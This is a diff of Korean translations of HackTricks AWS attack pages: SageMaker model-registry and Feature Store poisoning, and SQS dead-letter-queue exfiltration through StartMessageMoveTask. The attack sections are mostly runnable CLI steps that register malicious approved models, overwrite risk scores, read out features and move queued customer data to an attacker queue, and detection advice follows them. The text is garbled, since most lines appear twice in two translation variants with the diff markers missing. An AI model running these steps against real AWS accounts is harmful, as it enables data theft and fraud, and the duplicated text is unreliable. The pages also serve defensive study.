ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
@@ -145,7 +143,7 @@ aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
```
3) AWS의 공개 DLC image를 참조하는 악(여기서는 무해한) Approved model package version 등록하기
3) 공개된 AWS DLC 이미지를 참조하는 악의적인(여기서는 무해한) 승인된 모델 패키지 버전을 등록
```bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
@@ -162,18 +160,19 @@ cat > /tmp/inf.json << JSON
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
```
4) 새로 승인된 버전이 존재하는지 확인
4) 새로운 Approved 버전이 존재하는지 확인
```bash
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
```
### 영향
- 공격자가 제어하는 코드를 참조하는 Approved 버전으로 Model Registry를 오염시킬 수 있습니다. Approved 모델을 자동으로 배포하는 Pipelines는 공격자 이미지(attacker image)를 가져와 실행할 수 있으며, 그 결과 endpoint/training roles 권한으로 코드 실행이 발생할 수 있습니다.
- 권한이 느슨한 ModelPackageGroup 리소스 정책(PutModelPackageGroupPolicy)이 설정된 경우, 이 악용은 cross-account로도 유발될 수 있습니다.
- 공격자가 제어하는 코드를 참조하는 Approved 버전으로 Model Registry를 오염시킬 수 있습니다. Approved 모델을 자동으로 배포하는 파이프라인은 공격자 이미지를 pull하여 실행할 수 있으며, 이로 인해 endpoint/training roles 권한으로 코드 실행이 발생할 수 있습니다.
- 권한이 느슨한 ModelPackageGroup 리소스 정책 (PutModelPackageGroupPolicy)이 있으면 이 악용은 cross-account로 트리거될 수 있습니다.
## Feature store 오염
## Feature store poisoning
`sagemaker:PutRecord` 권한을 사용해 OnlineStore가 활성화된 Feature Group에서 online inference에 사용되는 실시간 feature 값을 덮어쓸 수 있습니다. `sagemaker:GetRecord`와 결합하면 공격자 민감한 feature를 읽을 수 있습니다. 이 공격은 models나 endpoints에 대한 접근을 필요로 하지 않습니다.
OnlineStore가 활성화된 Feature Group에서 `sagemaker:PutRecord`를 악용하여 온라인 추론에서 사용되는 실시간 feature 값을 덮어쓸 수 있습니다. `sagemaker:GetRecord`와 결합하면 공격자 민감한 feature를 읽을 수 있습니다. 이는 모델이나 엔드포인트에 대한 접근 권한을 필요로 하지 않습니다.
{{#ref}}
feature-store-poisoning.md
{{/ref}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,17 +1,19 @@
# SageMaker Feature Store online store poisoning
`sagemaker:PutRecord`을 OnlineStore가 활성화된 Feature Group에서 악용하여 온라인 추론에서 사용되는 라이브 feature 값을 덮어쓸 수 있습니다. `sagemaker:GetRecord`와 결합하면 공격자는 민감한 feature를 읽고 기밀 ML 데이터를 유출할 수 있습니다. 이 공격은 모델이나 endpoints에 대한 접근을 요구하지 않으므로 직접적인 데이터 계층 공격입니다.
{{#include ../../../../banners/hacktricks-training.md}}
## Requirements
OnlineStore가 활성화된 Feature Group에 대해 `sagemaker:PutRecord`를 악용하여 온라인 추론에서 사용되는 실시간 feature 값을 덮어쓸 수 있다. `sagemaker:GetRecord`와 결합하면 공격자는 민감한 feature 값을 읽을 수 있다. 이 공격은 모델이나 엔드포인트에 대한 접근 권한이 필요하지 않다.
## 요구사항
- 권한: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- 대상: OnlineStore가 활성화된 Feature Group (일반적으로 실시간 추론을 지원)
- 복잡도: **LOW** - 간단한 AWS CLI 명령, 모델 조작 불필요
## Steps
## 단계
### Reconnaissance
1) OnlineStore가 활성화된 Feature Group 나열
1) OnlineStore가 활성화된 Feature Group 목록 나열
```bash
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
@@ -19,25 +21,25 @@ aws sagemaker list-feature-groups \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
2) 대상 Feature Group의 스키마를 이해하기 위해 Describe합니다.
2) 대상 Feature Group의 스키마를 이해하기 위해 설명한다
```bash
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
다음 항목인 `RecordIdentifierFeatureName`, `EventTimeFeatureName` 및 모든 feature 정의를 확인하세요. 이는 유효한 레코드를 작성하는 데 필요합니다.
유효한 레코드를 생성하려면 `RecordIdentifierFeatureName`, `EventTimeFeatureName` 및 모든 feature 정의를 확인하세요.
### 공격 시나리오 1: Data Poisoning (Overwrite Existing Records)
### 공격 시나리오 1: Data Poisoning (기존 레코드 덮어쓰기)
1) 현재 정상 레코드를 읽습니다.
1) 현재 정상적인 레코드를 읽다.
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
2) 인라인 `--record` 매개변수를 사용하여 레코드 악성 값으로 오염시킵니다.
2) inline `--record` 매개변수를 사용하여 레코드 악성 값을 주입합니다
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -54,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
3) 오염된 데이터 검증
3) 오염된 데이터 확인
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**영향**: 이 피처를 사용하는 ML 모델은 합법적인 사용자에 대해 `risk_score=0.99`를 보게 되어 거래나 서비스가 차단될 수 있습니다.
**영향**: 해당 기능을 사용하는 ML models는 정당한 사용자에 대해 `risk_score=0.99`를 보게 되어 거래나 서비스가 차단될 수 있습니다.
### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
### 공격 시나리오 2: Malicious Data Injection (Create Fraudulent Records)
보안 통제를 회피하기 위해 조작된 피처를 가진 완전히 새로운 레코드를 주입합니다:
보안 통제를 회피하기 위해 조작된 특성으로 완전히 새로운 레코드를 주입합니다:
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -89,11 +91,11 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**영향**: Attacker는 낮은 risk score (0.01)를 가진 fake identity를 생성하여 fraud detection을 유발하지 않고 고액의 fraudulent transactions를 수행할 수 있습니다.
**영향**: 공격자는 낮은 리스크 점수(0.01)를 가진 가짜 신원을 생성하여 사기 탐지 시스템을 유발하지 않고 고액의 사기 거래를 수행할 수 있습니다.
### 공격 시나리오 3: 민감한 데이터 유출
여러 레코드를 읽어 기밀 features를 추출하고 모델 동작을 프로파일링합니다:
여러 레코드를 읽어 기밀 특성(feature)을 추출하고 모델 동작을 프로파일링합니다:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
@@ -104,9 +106,9 @@ aws sagemaker-featurestore-runtime get-record \
--record-identifier-value-as-string ${USER_ID}
done
```
**영향**: 기밀 피처(위험 점수, 거래 패턴, 개인 데이터)가 공격자에게 노출될 수 있음.
**영향**: 기밀 feature(위험 점수, 거래 패턴, 개인 데이터)가 공격자에게 노출될 수 있음.
### 테스트/데모 Feature Group 생성(선택사항)
### 테스트/데모 Feature Group 생성 (선택 사항)
테스트 Feature Group을 생성해야 하는 경우:
```bash
@@ -141,20 +143,6 @@ fi
echo "Feature Group ready: $FG"
```
## 탐지
CloudTrail에서 의심스러운 패턴을 모니터링:
- `PutRecord` 이벤트가 비정상적인 IAM 주체 또는 IP addresses에서 발생
- 높은 빈도의 `PutRecord` 또는 `GetRecord` 호출
- 비정상적인 특성 값이 포함된 `PutRecord` (예: risk_score가 정상 범위를 벗어남)
- 대규모 exfiltration을 시사하는 대량의 `GetRecord` 작업
- 정상 근무 시간 외 또는 예상치 못한 위치에서의 액세스
이상 탐지 구현:
- 특성 값 검증(예: risk_score는 0.0-1.0이어야 함)
- 쓰기 패턴 분석(빈도, 시점, 출처 식별자)
- 데이터 드리프트 탐지(특성 분포의 급격한 변화)
## References
## 참고자료
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
@@ -1,53 +1,55 @@
# AWS SQS DLQ Redrive Exfiltration via StartMessageMoveTask
## 설명
{{#include ../../../banners/hacktricks-training.md}}
`StartMessageMoveTask`을 사용하여 SQS 메시지 이동 작업을 악용해 피해자의 Dead-Letter Queue (DLQ)에 누적된 모든 메시지를 공격자가 제어하는 큐로 리디렉션하여 훔칩니다. 이 기법은 AWS의 정당한 메시지 복구 기능을 악용해 시간이 지나며 DLQ에 누적된 민감한 데이터를 유출합니다.
## Description
## Dead-Letter Queue (DLQ)란 무엇인가?
`SQS` 메시지 이동 작업을 악용해 피해자의 Dead-Letter Queue (DLQ)에 누적된 모든 메시지를 `sqs:StartMessageMoveTask`를 사용해 공격자가 제어하는 큐로 리디렉션하여 탈취합니다. 이 기법은 AWS의 정상적인 메시지 복구 기능을 악용해 시간이 지나며 DLQ에 축적된 민감한 데이터를 exfiltrate합니다.
Dead-Letter Queue는 메인 애플리케이션에서 정상적으로 처리되지 못한 메시지들이 자동으로 전송되는 특수한 SQS 큐입니다. 이러한 실패한 메시지에는 종종 다음이 포함됩니다:
## What is a Dead-Letter Queue (DLQ)?
Dead-Letter Queue는 주 애플리케이션이 정상적으로 처리하지 못한 메시지들이 자동으로 전송되는 특수한 SQS 큐입니다. 이러한 실패한 메시지들은 종종 다음을 포함합니다:
- 처리되지 못한 민감한 애플리케이션 데이터
- 오류 세부 정보 및 디버깅 정보
- Personal Identifiable Information (PII)
- API tokens, 자격 증명 또는 기타 비밀
- 비즈니스에 중요한 거래 데이터
- API 토큰, 자격 증명 또는 기타 비밀
- 비즈니스에 중요한 트랜잭션 데이터
DLQ는 실패한 메시지들의 "묘지" 역할을 하므로, 애플리케이션이 제대로 처리하지 못해 시간이 지나며 민감한 데이터가 누적되기 때문에 가치 있는 타깃이 됩니다.
DLQ는 실패한 메시지들의 "무덤" 역할을 하, 애플리케이션이 제대로 처리하지 못해 시간이 지나며 민감한 데이터를 축적하므로 매우 가치 있는 표적이 됩니다.
## 공격 시나리오
## Attack Scenario
**Real-world example:**
1. **E-commerce application**이 SQS를 통해 고객 주문을 처리한다.
2. **일부 주문이 실패한다** (결제 문제, 재고 문제 등) 그리고 DLQ로 이동된다.
3. **DLQ에 수주/수개월치의 실패한 주문이 누적된다**, 고객 데이터가 포함되어 있음: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **공격자가 SQS 권한이 있는 AWS 자격증명을 획득한다.**
5. **공격자 DLQ에 수천 건의 민감한 실패 주문이 있음을 발견한다.**
6. **개별 메시지에 접근하려 시도하는 대신** (느리고 눈에 띔), 공격자는 `StartMessageMoveTask`를 사용해 모든 메시지를 자신의 큐로 일괄 전송한다.
7. **공격자는** 한 번의 작업으로 모든 과거 민감 데이터를 추출한다.
1. **E-commerce application**이 SQS를 통해 고객 주문을 처리
2. **일부 주문이 실패**(결제 문제, 재고 문제 등)하여 DLQ로 이동
3. **DLQ에 수주/수개월치의 실패한 주문이 누적**되어 고객 데이터가 포함: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **공격자가 AWS 자격 증명**을 탈취하고 SQS 권한을 획득함
5. **공격자 DLQ에 수천 건의 민감한 실패 주문이 있음을 발견**
6. **개별 메시지에 접근하려 시도하는 대신**(느리고 눈에 띔) 공격자는 `StartMessageMoveTask`를 사용해 모든 메시지를 자신의 큐로 일괄 전송
7. **공격자는 한 번의 작업으로** 과거에 축적된 모든 민감 데이터를 추출
## 요구 조건
- 출발 큐는 어떤 RedrivePolicy에 의해 참조되는 DLQ로 구성되어 있어야 합니다.
- IAM 권한 (손상된 피해자 주체로 실행):
- DLQ(출발지)에서: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- 대상 큐에서: 메시지 전달 권한(예: 피해자 주체로부터의 `sqs:SendMessage`를 허용하는 큐 정책). 동일 계정 내 대상의 경우 일반적으로 기본적으로 허용됩니다.
- SSE-KMS가 활성화된 경우: 출발지 CMK에 대해 `kms:Decrypt`, 대상 CMK에 대해 `kms:GenerateDataKey`, `kms:Encrypt`.
## Requirements
- 소스 큐는 반드시 DLQ로 구성되어 있어야 함(적어도 하나의 큐 RedrivePolicy로 참조됨).
- IAM 권한(피해자 주체로 실행):
- 소스(DLQ)에서: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- 대상 큐에서: 메시지 전달 권한(예: 피해자 주체로부터의 `sqs:SendMessage`를 허용하는 큐 정책). 동일 계정 내 대상의 경우 일반적으로 기본적으로 허용.
- SSE-KMS가 활성화된 경우: 소스 CMK에 대해 `kms:Decrypt`, 대상 CMK에 대해 `kms:GenerateDataKey`, `kms:Encrypt`.
## 영향
네이티브 SQS API를 사용해 DLQ에 적된 민감한 페이로드(실패 이벤트, PII, 토큰, 애플리케이션 페이로드)를 고속으로 유출할 수 있습니다. 대상 큐 정책이 피해자 주체로부터`SendMessage`를 허용하면 크로스-어카운트에서도 동합니다.
## Impact
DLQ에 적된 민감한 페이로드(실패 이벤트, PII, 토큰, 애플리케이션 페이로드)를 네이티브 SQS API를 사용해 고속으로 exfiltrate할 수 있습니다. 대상 큐 정책이 피해자 주체의 `SendMessage`를 허용하면 cross-account에서도 동합니다.
## 악용 방법
## How to Abuse
- 피해자 DLQ ARN을 식별하고 실제로 어떤 큐에 의해 DLQ로 참조되고 있는지 확인합니다(어떤 큐든 괜찮음).
- 공격자가 제어하는 대상 큐를 생성하거나 선택하고 해당 ARN을 가져옵니다.
- 피해자 DLQ에서 당신의 대상 큐로 메시지 이동 작업을 시작합니다.
- 진행 상황을 모니터링하거나 필요 시 작업을 취소합니다.
- 피해자 DLQ ARN을 식별하고 실제로 어떤 큐에 의해 DLQ로 참조되고 있는지 확인합니다(어떤 큐든 상관없음).
- 공격자가 제어하는 대상 큐를 생성하거나 선택하고 ARN을 확보합니다.
- 피해자 DLQ에서 공격자 큐로 메시지 이동 작업을 시작합니다.
- 진행 상황을 모니터링하거나 필요 시 취소합니다.
### CLI 예제: E-commerce DLQ에서 고객 데이터 Exfiltrating
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
**시나리오**: 공격자가 AWS 자격증명을 탈취했으며, e-commerce 애플리케이션이 실패한 고객 주문 처리 시도를 포함하는 DLQ를 사용하는 SQS를 사용하고 있음을 발견했습니다.
**Scenario**: 공격자가 AWS 자격 증명을 탈취했고, 전자상거래 애플리케이션이 실패한 고객 주문 처리 시도를 포함하는 DLQ를 사용하고 있음을 발견.
1) **피해자 DLQ 발견 및 조사**
1) **Discover and examine the victim DLQ**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **attacker-controlled destination queue 생성**
2) **공격자가 제어하는 대상 큐 생성**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
@@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
3) **대량 메시지 탈취 실행**
3) **bulk message theft 실행**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
@@ -84,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **도난당한 민감한 데이터 수집**
4) **도난당한 민감한 데이터 수집하기**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
@@ -113,21 +115,21 @@ echo "Received batch of stolen data..."
echo "$MESSAGES" >> stolen_customer_data.json
done
```
### 교차 계정 관련 주의사항
- 대상 큐는 피해자 주체가 `sqs:SendMessage`수행할 수 있도록 허용하는 리소스 정책을 가져야 합니다(및 사용는 경우, KMS grants/permissions).
### 교차 계정 주의사항
- 대상 큐는 피해자 주체가 `sqs:SendMessage`를 할 수 있도록 허용하는 리소스 정책이 있어야 합니다 (사용는 경우 KMS grants/permissions 포함).
## 이 공격이 효과적인 이유
1. **Legitimate AWS Feature**: 내장된 AWS 기능을 사용하므로 악의적 활동으로 탐지기 어렵습니다
2. **Bulk Operation**: 느리게 하나씩 접근하는 대신 수천 의 메시지를 빠르게 전송할 수 있습니다
3. **Historical Data**: DLQs는 몇 주/몇 달에 걸쳐 민감한 데이터를 축적합니다
1. **Legitimate AWS Feature**: 빌트인 AWS 기능을 사용하므로 악의적 활동으로 탐지기 어렵습니다
2. **Bulk Operation**: 느린 개별 접근 대신 수천 의 메시지를 빠르게 전송니다
3. **Historical Data**: DLQs는 수주/수개월에 걸쳐 민감한 데이터를 축적합니다
4. **Under the Radar**: 많은 조직이 DLQ 접근을 면밀히 모니터링하지 않습니다
5. **Cross-Account Capable**: 권한이 허용되면 공격자의 자체 AWS 계정으로 exfiltrate할 수 있습니다
5. **Cross-Account Capable**: 권한이 허용되면 공격자의 AWS 계정으로 exfiltrate할 수 있습니다
## 탐지 및 방지
## Detection and Prevention
### 탐지
의심스러운 `StartMessageMoveTask` API 호출에 대해 CloudTrail 모니터링하세요:
### Detection
의심스러운 `StartMessageMoveTask` API 호출 CloudTrail에서 모니터링하세요:
```json
{
"eventName": "StartMessageMoveTask",
@@ -143,8 +145,10 @@ done
}
```
### 예방
1. **최소 권한**: `sqs:StartMessageMoveTask` 권한을 필요한 역할에만 제한하세요
1. **최소 권한**: 필요한 역할에만 `sqs:StartMessageMoveTask` 권한을 제한하세요
2. **DLQs 모니터링**: 비정상적인 DLQ 활동에 대해 CloudWatch 경보를 설정하세요
3. **교차 계정 정책**: 교차 계정 액세스를 허용하는 SQS 큐 정책을 신중히 검토하세요
4. **DLQs 암호화**: 제한된 키 정책으로 SSE-KMS를 사용하세요
5. **정기 정리**: 민감한 데이터가 DLQs에 무기한 쌓이지 않도록 하세요
3. **교차 계정 정책**: 교차 계정 접근을 허용하는 SQS 큐 정책을 주의 깊게 검토하세요
4. **DLQs 암호화**: 제한된 키 정책을 가진 SSE-KMS를 사용하세요
5. **정기 정리**: 민감한 데이터가 DLQs에 무기한 누적되지 않도록 하세요
{{#include ../../../banners/hacktricks-training.md}}